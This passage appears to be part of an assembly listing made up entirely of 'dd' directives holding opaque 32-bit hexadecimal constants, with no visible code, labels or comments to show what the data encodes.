		dd 0BF00088h, 1081A273h, 6000D10Eh, 3BFAF35Ch, 6ABD14h
		dd 8985644Ch, 0E99125E8h, 0E329B101h, 0B98F3E6Eh, 914C3470h
		dd 0B380636Ch, 716E90E8h, 0EC11C400h, 7DA99560h, 0B2FA75h
		dd 0DC3003C7h, 33787BD2h, 4A148800h, 0EA75EB91h, 93B31417h
		dd 5B00A032h, 0A0039CB6h, 4100D6BEh, 0E0AD5C4Eh, 0C0C6B173h
		dd 0A23A3480h, 0EF1DB604h, 69647A26h, 0F85EE300h, 0E56B07h
		dd 1FAA16CBh, 18C6EB98h, 386F4000h, 9DD45A48h, 0D5DB0006h
		dd 3A330E63h, 0A32C3705h, 6902D827h, 0CCFF586Fh, 0F82600C8h
		dd 0EF35B3F2h, 771C6959h, 409EF178h, 0E14F58C0h, 1D116F8Ch
		dd 409B7DC2h, 6EE2043Ah, 149CC88Fh, 9523AF05h, 0A5359840h
		dd 0B88331ECh, 0F180007Dh, 0BCE5223Eh, 639ACE0h, 0A7AA0FD3h
		dd 3907202Ch, 129140h, 0D2757BC9h, 7629AD51h, 88485A1Dh
		dd 0AF04980h, 16E4B8h, 0E82AF379h, 7E0C869Fh, 49996A0Fh
		dd 465C15Ah, 9041559Ah,	80EB9613h, 1EED605Ch, 40D47947h
		dd 4E83F26Dh, 0F526B454h, 9B0120C5h, 0C03A2348h, 0B413500h
		dd 553E3300h, 0C8B96AD1h, 49E430h, 0CFC4782Fh, 0F810C71h
		dd 0E18F9003h, 0E8E45806h, 2E3DA16Ch, 0A3CEB2h,	269FF749h
		dd 0F9FAE19Ah, 5E092098h, 4833D8DAh, 0B757C54h,	2682BD53h
		dd 0DBC62081h, 20DC24E1h, 391DD500h, 0E6AD4425h, 0F30988Ch
		dd 30707DC6h, 4822FC9h,	0D070A435h, 24DB3B00h, 0B2131D0Fh
		dd 76EC0045h, 0E21C9EAFh, 0D0A38502h, 2431F3A9h, 0A7049190h
		dd 19D561FFh, 9DF90CD0h, 0F42E7453h, 0B10E00F3h, 0B7898156h
		dd 1B07D34Ah, 0B4A70545h, 610029B7h, 0C6D5FAh, 5FE5AF8Bh
		dd 7E3ABA28h, 75908900h, 0CD52633Dh, 0F4BC019Ah, 6DE7A983h
		dd 0B883DED2h, 54E19566h, 0CD5C30A5h, 3B262900h, 79741CF6h
		dd 8790035Bh, 50D7E451h, 415966F9h, 30B7ACF0h, 1F019F5Fh
		dd 890540B3h, 0F0CD5A15h, 44CCD0CDh, 77430ABDh,	2B80338h
		dd 2EA0B2E6h, 0F4268C00h, 9A07003Ah, 319DDA4Ah,	0D8002962h
		dd 3DEB6B39h, 73B188h, 82ECCB3Bh, 7EE408E5h, 7B3AC0B0h
		dd 571C0201h, 70AD2042h, 73401274h, 6B48C194h, 7C48DA22h
		dd 0EB05AA28h, 4D44D430h
		dd 0AE388080h, 0E1DE0723h, 0F749DF4Fh, 0E27F7008h, 0CB000CBDh
		dd 0ADA5AE5Ch, 0A264F2h, 2AEC9768h, 8904DA7Dh, 4E0032E4h
		dd 0B90201CFh, 47F43Bh,	0DCEFEB4Ah, 8B98F5A0h, 0C911E9A0h
		dd 0A40F6C05h, 80009C29h, 0F7FC5609h, 0D3D100AEh, 208C3FDh
		dd 0ED2EA04Ch, 9306C84Dh, 3A7AD684h, 5400A381h,	0F0D3381Bh
		dd 0A650E4DCh, 0F9005DD0h, 0EE062CF5h, 402944h,	0EFC09E60h
		dd 0FC3D20A7h, 60DC2851h, 0D93EFFBCh, 0DE7F80AEh, 0CBE65A14h
		dd 67C00E18h, 4EA07E40h, 0ACE887B2h, 8CB6A0C0h,	3D55343Eh
		dd 64BD3B43h, 9B25F80Eh, 0BE36807Eh, 0A3F14ECEh, 807D303Eh
		dd 0C94942A4h, 0D63384h, 1ED72AFFh, 3F6EA320h, 251F6D76h
		dd 3483AE18h, 94B97Fh, 0F45EABC0h, 0DBC92F4Ah, 0D0B39238h
		dd 167A99E0h, 0C8CD4500h, 4A8488Ch, 0C7262C4Ch,	0B66600BCh
		dd 0CC71EA53h, 20D110CFh, 792A1FBFh, 81DA0099h,	2FCD3EDh
		dd 0DC787F3Ch, 6E6D4200h, 0F6CE24FAh, 0E0D800BEh, 2CFC1A6h
		dd 0EC00327Ch, 4C61974Dh, 0F9946Ah, 1BB2EFD4h, 0FA14D7EBh
		dd 853BAE3Fh, 28432A5Eh, 0FE031085h, 0C4BBC7h, 5D2C9BECh
		dd 3F499021h, 0D3B5701Dh, 14DA6BC5h, 37801DC4h,	9665A75h
		dd 32DB15CAh, 0FAD0041h, 948C9A1h, 8BC030h, 36445428h
		dd 0F97122B2h, 95D3FB00h, 0E26A113h, 64840012h,	0B7FD6976h
		dd 0A2004241h, 0FC924717h, 1456AFD4h, 0DCB07F6Ah, 0C512F380h
		dd 833DD662h, 41B8A015h, 0AAAA601Ah, 39CFDB00h,	12B299E7h
		dd 291403F0h, 32A12EE5h, 26E93D88h, 0C6D03400h,	18C71756h
		dd 87410093h, 296B79E3h, 8F1EDDF6h, 0FFC57C36h,	78C0AD6Ah
		dd 963D769Eh, 407D1D4Ch, 3667ED6Bh, 0E8C05AD3h,	7ED13069h
		dd 0CE2500B7h, 9AC17BFAh, 771383EDh, 34823E24h,	0D01C43A5h
		dd 0E6586296h, 0F86B0213h, 0ECA31E23h, 1BCCE868h, 531C5B00h
		dd 7132D10Fh, 1E00B2ACh, 8E43E4D6h, 5447DB7h, 3535C066h
		dd 0AF000362h, 9853CCBFh, 0A0A7E52Dh, 15FEEEFh,	7D7AEB0Dh
		dd 60DAD45Bh, 0BA1CC52Fh, 84807B80h, 0CB2169EAh, 46771Dh
		dd 0AACD8CF2h, 250C501Bh, 4FCE750Eh, 0F936600Ah, 35ECB6h
		dd 4EACEA18h, 0A2438992h, 320C300h, 0FF05C8D7h,	0A4633CE0h
		dd 99B76780h, 66113A52h, 44FA0A1Fh, 45F12740h, 0F6BB6847h
		dd 3F5318C3h, 0D31E104Ch, 0EA2B1000h, 0A25DAB49h, 53AE0260h
		dd 786FCB41h, 69D4D083h, 0DC031EF0h, 54563200h,	0A17CF2C1h
		dd 0BB941D55h, 0AFD1C06Fh, 0FEAA3CD4h, 78038496h, 800D4BE7h
		dd 2E53C46Fh, 80E45584h, 0D066A788h, 0A1001A37h, 51C79816h
		dd 3F42B8Fh, 0F673EA5Bh, 0DA846CFh, 0EB0366AFh,	41C1137Dh
		dd 8849F3C6h, 30F79E7h,	91DDDF12h, 0C0C580C3h, 0E10825A4h
		dd 4E00140h, 4606FD76h,	0E08B0ADh, 0B638940Eh, 9C4180E6h
		dd 32CC58E3h, 0E110ED01h, 86229F60h, 6950830Fh,	2B7A6081h
		dd 12BE2608h, 403B1E79h, 0B5D7F914h, 0EF009542h, 6CB3BB20h
		dd 1ED605F2h, 5FED3213h, 1952407Fh, 0CAD1065h, 58CAE82Ch
		dd 80664F08h, 9256856Fh, 0B10F941Ch, 4212F248h,	0C31B14EEh
		dd 734FC05Ch, 0BA1E0027h, 0E13F2581h, 0A9005CCAh, 4A0407CDh
		dd 3E78Ah, 534D759Fh, 23320C60h, 0FF8439h, 7B27B6Eh, 0F456FB8Ch
		dd 0B5F63AE3h, 9BAC3180h, 0F57EF1DAh, 0AC1FC624h, 447DFA87h
		dd 0CCE15820h, 62BD0090h, 9EFC36D9h, 0C00C775h,	0DF5DDA4Bh
		dd 9F5EC6h, 0E5902911h,	0D929353h, 9CAC6100h, 0F20A4AD3h
		dd 0DA2A0045h, 778B4C06h, 6A008646h, 0D74E394Bh, 94CC03h
		dd 32F29249h, 2EBE7A3Bh, 3D0AC800h, 21A06898h, 0ED240086h
		dd 3C0FB9EBh, 0C83310E5h, 0A84D702Dh, 30DD040h,	0E67DDC8Bh
		dd 2C0B9FEh, 0B300B0DDh, 0AE1D4941h, 3EA9487Ch,	920083CEh
		dd 0A8E1A635h, 0C90E214Bh, 20A12A93h, 0CA0F1CA3h, 79610586h
		dd 0B439B0E3h, 4807E624h, 0C3E5596Eh, 0F402F10h, 0D9C400B0h
		dd 5689A2D3h, 6A003B6Dh, 0EF707141h, 2EB76h, 0E5BD51E2h
		dd 53D81531h, 3D99B00h,	0A1E06836h, 0C27E10h, 0A7822DC7h
		dd 3F1F9625h, 0E2A36401h, 0F79CE41Ch, 0F4B136ECh, 3938020Eh
		dd 90AB301Fh, 60ECC069h, 0BF00559Ch, 0C282B269h, 7530F050h
		dd 4F829D3Dh, 5040F63Ah, 9800C8FAh, 89244705h, 42190Fh
		dd 0B207CF14h, 5D3E6F7Ah, 18F08F76h, 82F9BF00h,	3F9BC1F6h
		dd 0DECE449Ah, 70F60B4h, 0C613E027h, 1B0BDBh, 0E738F2A2h
		dd 0F3DA42B6h, 0B951E501h, 4CD26A55h, 0A8E830h,	2C64E912h
		dd 88F5422Bh, 15AC5E00h, 0A0E957Eh, 0C29100C0h,	48D3A4D5h
		dd 31009A56h, 0E8650423h, 13EE37F5h, 7356Fh, 40B6F0BCh
		dd 520073FBh, 0DD3E110Dh, 984F963Ch, 0F0E179Ah,	80E50134h
		dd 60B169F9h, 0BE013ECFh, 0A95FEF68h, 64C8A627h, 8BF86Ah
		dd 97504FB2h, 0E736A0E1h, 0CB9330Eh, 0A70660A5h, 90DFCDE5h
		dd 742E0078h, 0B6A67FB8h, 0F909B4F6h, 5E9107h, 1B065B50h
		dd 0AD28009Ch, 4129DA8Ah, 86000FC1h, 65C7660Bh,	0F36E0Ch
		dd 7AC674E6h, 0E95D2A22h, 0D59F541Ch, 292480A6h, 0B94CE600h
		dd 964A9Bh, 0FD44718h, 66DC74A3h, 3B77F400h, 2E8C34C6h
		dd 0FC620FE6h, 47204492h, 67C7C996h, 18EFA3Dh, 3B11615Fh
		dd 8030CFAFh, 649500A5h, 896F9402h, 4A0097B9h, 239AD088h
		dd 4EEEF8h, 0D519C50h, 0B924CD37h, 0E5A6BA00h, 93DBAE8Ah
		dd 0E83F0946h, 23A0h, 0B29B6A3Ch, 0E7025100h, 8CA69A83h
		dd 12F4C7h, 28EFB13Fh, 4DC584D8h, 0AB83C000h, 271B3DC1h
		dd 4C9810h, 8BB0ED7h, 0A176F8B1h, 9BE0A401h, 848B739Dh
		dd 0CBEF4021h, 2FC6A9CBh, 12C3B001h, 11DD2030h,	0FF78D338h
		dd 0A5008C98h, 6CE67321h, 0E6D1671Fh, 0E82E019Ch, 44C83B3Dh
		dd 2FF4605Bh, 12D5A702h, 50EBE74Eh, 0E8C008Ch, 0F3BE3329h
		dd 1C039DFFh, 0E648CCF7h, 419EE827h, 15120082h,	17EBF249h
		dd 7B31BDB8h, 0B2BA50BEh, 6A1DD02Ch, 0F06980C7h, 0EF85ED71h
		dd 0C9001875h, 0DF9B337Eh, 3D3080Ch, 0AC40A0DEh, 0CC98778Ch
		dd 3B725C0Fh, 2BE12909h, 8E007F6Ch, 7FE4C6A0h, 5851CC00h
		dd 0E7A9D052h, 0F02401EAh, 0DB011A59h, 5A0AD0BEh, 0A38C8050h
		dd 45F4BF04h, 5CA1B0BBh, 0D72BD3D8h, 9A40903Ah,	71469C4h
		dd 0D3DA12h, 1EB0389Dh,	519EFFh, 29AD7E79h, 6630B6E0h
		dd 4A49A2Eh, 589D7A00h,	987FEB90h, 8ABE0048h, 0D73C6F21h
		dd 1112D157h, 2C8CFD50h, 0DFAF0537h, 9002BC4Fh,	912EB7B0h
		dd 0ADA3D00h, 0CAA351EDh, 18E72FFh, 7A23B12Fh, 0EC757D05h
		dd 250028B8h, 32593EADh, 73DC07Fh, 5A442624h, 0C05CC5ECh
		dd 68B7A5A5h, 0A2152A00h, 0F1FE5EDAh, 506E020Bh, 97834548h
		dd 57FB1F40h, 96C7500h,	9B7BC6AEh, 205735Fh, 1846EE33h
		dd 0B8F81DE6h, 7CA97801h, 5BA6D7DBh, 3D091038h,	0F28032ECh
		dd 5256070h, 2EFC6575h,	0A781F10Fh, 4F71A3F7h, 0B4968823h
		dd 7F2A004Bh, 95221C2Dh, 320065DBh, 3191DFA0h, 125A0FBFh
		dd 9331556h, 0C4E17ADCh, 61ACC4FBh, 3E597300h, 5D44639Ch
		dd 7D4B098Ch, 0F083644Ch, 83E77428h, 113C6A27h,	1908007Ch
		dd 7020410Bh, 0A0FD045Dh, 0C09FBDCEh, 0DC0DEDFCh, 0F89B0400h
		dd 3EE04C78h, 0BF290F5Bh, 7B40093Fh, 0A8EA1E63h, 601420B2h
		dd 8414D5h, 338CE115h, 0A2590Ah, 484CF91h, 0FC1E8F6Ah
		dd 0D5B1BF00h, 691536C3h, 1555748Dh, 68E52E18h,	25AC7800h
		dd 0BD755963h
		dd 72005474h, 0C8D2BB11h, 0CB0B0Eh, 4C6BA0CEh, 8D3839DFh
		dd 0D656E00h, 0A1E7AAC7h, 64D30035h, 0C85C44A4h, 5A013B2Ah
		dd 2BF868B9h, 422029DDh, 1671F0D1h, 0C9616D0h, 6DC9AD40h
		dd 8EFB3612h, 9CC68CF3h, 1D971084h, 68036700h, 50D01C44h
		dd 1E08B24h, 5F8C9DF1h,	0EDFBEF17h, 2DDEDC54h, 2B3E9279h
		dd 42A807Ah, 1C4B91BCh,	0EBA9009Dh, 7947147Bh, 96E6DCDDh
		dd 9C026C00h, 3778D72Ah, 3A197DC9h, 0FA00DA9Dh,	66C0C6AAh
		dd 0B10048B9h, 1B7F01A4h, 70F6360h, 9996E136h, 40C960BDh
		dd 0FD004D0Eh, 0DD56AA2Ah, 7E93706h, 0B4ECE414h, 55FA50E3h
		dd 3209B6C5h, 818C250Ah, 0CDE300Ah, 0AFE060h, 0B8ADE60Eh
		dd 0B0916C57h, 0ED6D2200h, 0C38C1BCFh, 3D37E59h, 3C325CAAh
		dd 71C94217h, 74C047AEh, 2F0F234h, 0A55A5B64h, 9C5088h
		dd 0BEC20128h, 4216E354h, 388B359h, 64DA6178h, 7A488291h
		dd 879916DCh, 7190802Ch, 0D3EFC82h, 46378016h, 0C96D1BCDh
		dd 8FFE00FAh, 7E4194E5h, 0A0001CB5h, 0FFB7E9DCh, 2911D80h
		dd 62FC7226h, 88561838h, 0F68EC821h, 9C5847A4h,	0ACBEECC0h
		dd 0DB8600E4h, 2DCD6A6Bh, 0E3776879h, 7FA70339h, 2E2C4B0Bh
		dd 0D52380B5h, 3FFF6105h, 9C4D4DC0h, 822F400h, 8CAA0F85h
		dd 2532470Eh, 0A840E9A2h, 2D0AC990h, 4900A80Eh,	0CF81F29Dh
		dd 1779006Fh, 8EB28394h, 0C41EFE72h, 0D340550Fh, 76E86945h
		dd 0A3C700EEh, 57A48539h, 6F49B842h, 80977F78h,	0E018DA04h
		dd 3E26000Fh, 4E047767h, 0FD3F34F6h, 0A00D0EFCh, 0DED50046h
		dd 0E915EBEh, 6E85A17Ch, 601D92C1h, 0FF3BC0EAh,	8AD22600h
		dd 0AAB4D390h, 0F1F0A07Ah, 1FB140A7h, 6CD13500h, 0DF5DA22h
		dd 0CF8051Ch, 90FC5B90h, 0B986D7D0h, 66B21000h,	0CD83A4E5h
		dd 0EFDD0370h, 95C8D6EEh, 35362A00h, 0E6E57CE7h, 0C5B60046h
		dd 0D1A5669Dh, 3B128C4Fh, 45EC97Eh, 0B3178580h,	12DB6862h
		dd 0C0098480h, 0A435E9D8h, 67F63300h, 705B6F17h, 0F02890D5h
		dd 589918A2h, 8B2F288Ah, 44C56601h, 0FA6391C2h,	0C918B040h
		dd 342700DBh, 0F14962ECh, 0AB019279h, 0CAD238DAh, 1438CF50h
		dd 5AB3077Ch, 0F0FFEF42h, 385B539Dh, 0B07D400h,	50C81E36h
		dd 468907DFh, 0B078233Bh, 2D22924Dh, 734F7A2Ch,	2F512800h
		dd 0A5DDCBh, 0A0D52197h, 24661936h, 5A112B0Ah, 4A01B601h
		dd 0F1B6F6AFh, 0C43120h, 0A236CF56h, 70F20F11h,	0AE87A300h
		dd 9EDDEC81h, 5C24F775h, 0BF0B8D5h, 85F812A8h, 7FABC068h
		dd 0CEBA6400h, 0B29FE75Fh, 3D4609DAh, 6F20094Bh, 58ED69B1h
		dd 291EAC1Dh, 30E17517h, 75D509C8h, 0A8B6D6h, 387324F4h
		dd 0F91FD9A2h, 9886F5D7h, 0EAC8C1D0h, 0D2440187h, 0F8140693h
		dd 0B059DC4Dh, 5CF88095h, 5BD681h, 9076ACADh, 4985BA77h
		dd 92B4A300h, 98206EC1h, 8FE9009Eh, 0AD628235h,	6430A5E1h
		dd 38CD908Dh, 0AECA07Eh, 2A4A04F5h, 0C0B568D0h,	54CC44A0h
		dd 4726897Eh, 0C4031408h, 0C14A5696h, 0FAC41864h, 387F812h
		dd 2EF2773Dh, 0BE0C8FDh, 0FC9EB479h, 0E2990380h, 0ECF928BAh
		dd 0A1760064h, 140CD4B1h, 200026FEh, 5797C261h,	75ABF1h
		dd 409CDBDDh, 897B07E6h, 0F0029EEh, 13D483EBh, 0A733A2h
		dd 74B8AA95h, 576C7DA8h, 1901FEF4h, 81F7A679h, 98345462h
		dd 7F490371h, 7287AC4Bh, 17471AD8h, 93C6A24h, 0ACC07013h
		dd 27E3FCh, 0AC572F16h,	4DB4D03Ah, 6CC9400h, 0F00838CFh
		dd 98284802h, 7E69B800h, 97733782h, 90C02090h, 7D9849A6h
		dd 0E27B008Eh, 0F3BE16A3h, 0E03DFD2Fh, 0C9D20122h, 7E9E3986h
		dd 18275420h, 403A4DEFh, 0B7002D5Ah, 73CE2398h,	0A372C0h
		dd 84E78CA7h, 25DB41ACh, 5EB8CC05h, 0E7C0027Ah,	34E9739h
		dd 756BC3EAh, 6438FBF5h, 9E800072h, 0E2DB7D16h,	0C4335889h
		dd 51481B00h, 28341C70h, 7B7AB00h, 4DBE06C8h, 55CB1DB1h
		dd 0CA4705EFh, 222E8002h, 0F79ED51h, 0D8E7BB01h, 0E65E9C30h
		dd 0F5BDDCh, 0A40131Ah,	86B35CEFh, 6D2E7E01h, 0B28C3AABh
		dd 0CA9C60h, 0D78B57C0h, 0B74A40D3h, 152B291Fh,	92865C1h
		dd 3885B463h, 56AB2Ch, 0BB373114h, 0F3008F6Fh, 0F794EC7Fh
		dd 50419Bh, 9D2B5105h, 0A18D6874h, 702AA300h, 0B5C8EA29h
		dd 92630C84h, 35495265h, 0E5B37400h, 2739CF77h,	5BE49A56h
		dd 40005C87h, 801625F4h, 0F1F863DFh, 45CF1A12h,	0C1C0381Ch
		dd 0CD09058h, 0D473F1Eh, 663A2D80h, 11DD382Eh, 639FC00h
		dd 274F1DD7h, 0FC4A4D9Ch, 22557300h, 317B4303h,	7F018FFAh
		dd 9741961Eh, 4824482Fh, 8C5A3C1Dh, 11166719h, 4669E092h
		dd 0C033CC0Bh, 55D821D2h, 0C874ACA4h, 590B0725h, 400A3B75h
		dd 0AFA93214h, 0D1338800h, 9B25793h, 51F50038h,	0E530D0F7h
		dd 9D01D772h, 3728F89Fh, 1AC8984Ah, 2E40C439h, 8034A5ECh
		dd 0F57D378h, 795F7907h, 428D1D9Fh, 9CACD5FDh, 63640201h
		dd 0F1C725E2h, 2A0C4092h, 37007AE7h, 264B8C62h,	0A58D54h
		dd 0CF729FF0h, 0DB4C3971h, 10839B00h, 0AA3B7A8Ah, 1927E7Eh
		dd 5ACD80D8h, 0F474B984h, 0B7006C21h, 0F0726103h, 0E6AAB62h
		dd 8643AF0Eh, 583CF20h,	96059CECh, 9B9E5D92h, 0A6C78700h
		dd 125F44C0h, 0C03BAF78h, 70F9BA40h, 24613Dh, 0B44FC979h
		dd 576DA7h, 5032A008h, 93F86B21h, 1833B739h, 8C3822ADh
		dd 9CA10274h, 8D300F09h, 0F74A9080h, 16E07F18h,	0DCACD650h
		dd 72C7DF03h, 0BB8D94F8h, 3347F8C3h, 46363A99h,	2B9D4D00h
		dd 2EA718A9h, 0D393C600h, 74CED930h, 0ED24129Ah, 0C71600E8h
		dd 0AC3946E4h, 90AEC028h, 0AD7DB613h, 8080870Fh, 527A0648h
		dd 0A8B2E48Fh, 54A20B8h, 0DB6F9415h, 0D7C49154h, 0EC91FD57h
		dd 9C7CBB7Eh, 9071A300h, 0DC166E2Ah, 7F790A0Fh,	80F8803Bh
		dd 0E6F435FDh, 0C6020AF6h, 0CEF0A223h, 511614Bh, 0F5CBD4h
		dd 11C9AB91h, 30FA4BAh,	7175B200h, 34097D80h, 2C610062h
		dd 0B6AF4F6Fh, 0F3761B0Fh, 0D8BF4500h, 3A1F10A0h, 0F4060060h
		dd 0E1F9ED57h, 780129C2h, 5E17C7C8h, 47EC2002h,	0E67819h
		dd 18DE6567h, 0C6DD95E1h, 0D21C1D2Eh, 58BE3400h, 0D4DAF3h
		dd 75781AE3h, 0C6A804C4h, 70131C00h, 7E6ABAEBh,	79D90040h
		dd 0E7072436h, 56005233h, 63C4F245h, 68F3EFh, 0A5784AB0h
		dd 0CE6C3AC0h, 9813201Ch, 15D07A1Ah, 2F807704h,	884F8DA2h
		dd 0ABD91F2Eh, 0D059007Ch, 6833E48Ch, 0F76F3000h, 66DFC462h
		dd 867D005Bh, 386D3FBDh, 7B0FD858h, 0C0D6AFCh, 44FB2952h
		dd 59445665h, 6710F124h, 0B780FA68h, 0EE5C8963h, 0C7217024h
		dd 0D3519441h, 282A283Ch, 8C887C71h, 0AF29C857h, 9058AE47h
		dd 21669B08h, 30088B29h, 8414903Bh, 874855E5h, 3FE15641h
		dd 7882E002h, 63267041h, 27760329h, 9203DAFDh, 0B788A8B8h
		dd 9DB263Ch, 8C617B87h,	0B520F0h, 85286D4Bh, 75AC80Dh
		dd 3448D503h, 0D8EC3999h, 2F3CFF2h, 4117B9EAh, 0EC0620Dh
		dd 7400E02Ah, 0A9269172h, 0ED8754Ch, 0EB304690h, 0CC7BD6E0h
		dd 8D7FC369h, 0F7066500h, 53079B09h, 0D7AB0060h, 0E8E09E6Ah
		dd 0EB2E9CA6h, 0C40037C9h, 755486Ch, 4C35585Fh,	0A9FF7406h
		dd 0C4001123h, 6622C6Dh, 41C2ACFh, 498E0CDDh, 93208033h
		dd 9006461h, 60F7DED5h,	0C23610h, 4D578E0Dh, 5BE75213h
		dd 34000C9Eh, 0CC9D72Dh, 0B7CA0FD8h, 88143C27h,	0CC80D93Bh
		dd 9DF2BEF8h, 250065D2h
		dd 0F6EB7E59h, 70D14Dh,	278DB92Fh, 0F50CD66Dh, 8069C430h
		dd 0BF7D34h, 0B8F71019h, 8180A70Fh, 42835B00h, 6CE3CADEh
		dd 49A90E7Ah, 92A0935Fh, 19B2D6F8h, 0B6A8E900h,	68896480h
		dd 81850FC3h, 0C0DEEA7Ah, 0BE326625h, 0E6010BBCh, 0EF5FD65Bh
		dd 46DDED89h, 0A9B6C4h,	5A25467h, 17DC2B8Eh, 8D00DD74h
		dd 0F6638E1h, 4DD952h, 74B58795h, 5B5EFE7Bh, 0D73F2300h
		dd 0B9851A39h, 0DEB600CAh, 358B689Bh, 950B82C2h, 80183861h
		dd 447C8FD6h, 0E86D609Ch, 2DB11365h, 0C4DE703h,	24B66D4h
		dd 0AD30C211h, 0B9001980h, 0EC1AB7h, 66FC7049h,	37C2AC9h
		dd 9F857D1Eh, 361BF887h, 91769CD3h, 6E06207h, 0ABE00086h
		dd 5ADAD275h, 0C00F900Eh, 7FAD813h, 6B60F45Ch, 850D3h
		dd 4F62CA78h, 58D7A1C6h, 0D7419928h, 0EDE08651h, 82EC41CEh
		dd 8EA3D821h, 0F3AC401h, 0B8E2F943h, 75CD6970h,	68C95CECh
		dd 1C988B02h, 48438F6Bh, 20F224E9h, 5138941Fh, 8549020Fh
		dd 6179E610h, 0A0804A54h, 936F5340h, 7800E338h,	7B272B4Fh
		dd 0E424FE90h, 7970F34Dh, 0D9C400E2h, 1451CA35h, 0C008D5Eh
		dd 0CCB1E507h, 37CFE43h, 6FE66DC9h, 0BEE085D1h,	0F800697Eh
		dd 910ED77Ah, 5BE9D3h, 16C4FDF3h, 0D0776E20h, 0C590C707h
		dd 0B8006786h, 8DCAE0h,	34E7D8Ah, 0B64C76A9h, 86451C00h
		dd 8F7497A4h, 98F914B5h, 7000CA4Fh, 0CDB92B67h,	200EE18h
		dd 0F5320B9Ch, 2EEFB83Dh, 3A983D0h, 2471F9AFh, 13E816FBh
		dd 0C80077F1h, 5D40C5F6h, 0EB28A3h, 0FEBEA6FAh,	3F83AB62h
		dd 0F100F9EAh, 98CD1648h, 9829F6DAh, 326D1CECh,	3DC15F59h
		dd 3A40F48Ch, 0F511BC11h, 530169F3h, 81D7E741h,	276EE8C6h
		dd 0BE95800h, 6D45CA7Fh, 9A5B00C0h, 21E56244h, 4A5C4F7Eh
		dd 0CD0E03E4h, 0C871BFD9h, 3F978Ch, 312DCE39h, 2CFCE85Bh
		dd 5746F700h, 47108E04h, 0C4FF0E0Fh, 2D00F619h,	0AD72CDD2h
		dd 77B8D802h, 605C88C9h, 0F5C366h, 72E0E70h, 1E382357h
		dd 96D57100h, 0E29B95F1h, 0FA140093h, 252158Dh,	0C8001E39h
		dd 0E84907C2h, 90FCCh, 94AEAC0Eh, 18C58CE2h, 0D44F8A27h
		dd 371EFDh, 2D2060BAh, 0FC07B173h, 54D648C1h, 0D1335DF0h
		dd 84F70B36h, 90202A50h, 0E2CE0C0Ah, 77C6CF00h,	0FF6439D1h
		dd 2BFC3Bh, 0AB65DF93h,	0B60F536Bh, 0B2179618h,	18D9B868h
		dd 11729CFAh, 0E209D83Ah, 11354B0h, 7741936Ch, 1247C800h
		dd 3A66600h, 51C990B9h,	152B01E5h, 0B7B2FD92h, 2C4420DFh
		dd 746DBF00h, 36DE4E0Dh, 51640138h, 0BC92EBA0h,	0A43420CCh
		dd 7794BB00h, 8CC705D6h, 8D7181h, 0CA18840Dh, 0FE8A8553h
		dd 1C09A892h, 805C7138h, 9893B530h, 27230E31h, 7CA00C04h
		dd 0AE3DD360h, 4B0134B0h, 0B2CA28D0h, 0EC300185h, 89F70068h
		dd 0DF45D90Fh, 0C600B45Eh, 0AD2A439Dh, 51BF07F5h, 0B8D8B604h
		dd 8B651DD4h, 0DAE0003Bh, 223281E4h, 51D93Fh, 0FEE7F10Ch
		dd 741F6Dh, 0AF8C2C3Ch,	0C0AB5057h, 547EA2C0h, 0C4299Eh
		dd 0B099FACFh, 43F79676h, 6D86B726h, 27511A00h,	920503h
		dd 9397DED3h, 50C59F9Dh, 901FB0E2h, 0FA004CA8h,	0A22BD467h
		dd 6B849h, 0B85F8F1Dh, 188B1B30h, 4A74F413h, 0ADD3CC00h
		dd 1A9350h, 3515FA5Ch, 6864AB7Ah, 4AACA200h, 0CAFC018Fh
		dd 0B4902Ch, 20CD5B11h,	0CFA4F9C9h, 115E4F34h, 86CE4683h
		dd 0DDBB3E11h, 0F4005ACCh, 8FAC9A27h, 0F61EB3A8h, 0D100E407h
		dd 0D7555777h, 0B4C94801h, 0F9477603h, 25F03921h, 8F4820FEh
		dd 6A290046h, 5B5A6122h, 0BAAE0F90h, 0B2C04E47h, 0F138AD1Ch
		dd 8B3CC901h, 0F2344FCDh, 18077970h, 58DA43C0h,	0B2383AA8h
		dd 6F7287D4h, 51003EFCh, 345E3Dh, 0DBFD4377h, 5095FF7h
		dd 7288B01h, 1E03CE2Eh,	1ECBDEDCh, 4358664Ah, 0B44B17BCh
		dd 0B2458000h, 0E40EF765h, 84780071h, 0BCD5783h, 0C603FE46h
		dd 0B4E1E7BDh, 2CB990D3h, 0E3DE006Fh, 0E9467383h, 67001707h
		dd 23C53037h, 1ED696C4h, 808E4A57h, 20648FCDh, 0C92C2AF6h
		dd 0A513A1BCh, 7905E107h, 295AB910h, 3E3F0015h,	23EEDC9Ch
		dd 7101E1ECh, 689784BFh, 74203908h, 0ED7824B1h,	481F0185h
		dd 834BC259h, 4E6B1011h, 0E7878B1h, 9865E05h, 4B071DE0h
		dd 8700A515h, 0DBC9A9E5h, 3BA00439h, 27969A62h,	9FA402B9h
		dd 0E040D9F2h, 26037006h, 52125C56h, 7A01A88Eh,	0F9040229h
		dd 0DA7DA808h, 4F63AA40h, 0A10062FAh, 0B031F26Eh, 322C43Dh
		dd 782D73CDh, 0AA885B35h, 58092368h, 26CE1Bh, 258FF684h
		dd 0AF392E5Ah, 2CE0002Eh, 3D98C80Eh, 5E246500h,	0EC93D3E1h
		dd 95FF05D2h, 80864EA9h, 9B3D04FEh, 6B684B00h, 0E7C0628Eh
		dd 0F27300B9h, 87DE8AF1h, 0B51E21A8h, 348E83FAh, 0A0600CFh
		dd 8B950h, 0E3FBC599h, 798571A6h, 27ECD103h, 9F07D837h
		dd 1341A8E0h, 0D405002Eh, 0D7B2AA1Ch, 0E3F014A0h, 0F2DE9400h
		dd 0FA8E602Dh, 0FFC1506Fh, 0B1230048h, 5A2063B6h, 20C02E72h
		dd 3B9E6153h, 1D1900DCh, 6229EB88h, 0DD00A394h,	61BDD89Ah
		dd 3B8EF4Dh, 0FC74BB9Ch, 86896039h, 8042917h, 80693EF2h
		dd 467D1113h, 0B1E6C0CEh, 0C5E46500h, 49F9EFF0h, 0CAFA7Ch
		dd 0B49F6F41h, 8EAB1888h, 2E4E0300h, 0CC850A58h, 0A8BB0067h
		dd 0BDB7A625h, 9838F5B0h, 97D80ADh, 8255EFEBh, 0D68A0A38h
		dd 8BF1Fh, 0EB5EF149h, 0AAF0570Bh, 9A00CAF4h, 4E4695BAh
		dd 5CF3F939h, 72006F96h, 0B0DC0915h, 2600C3B4h,	7EB948Fh
		dd 77E61C1h, 6F0B19C0h,	0E655A390h, 0ADD9A2E0h,	91DF3000h
		dd 84BC5B44h, 0A5420012h, 0FBF078EBh, 51017C92h, 0A9118C07h
		dd 0FAE86862h, 9CE1EF9h, 4E930680h, 3405C0ACh, 45E06978h
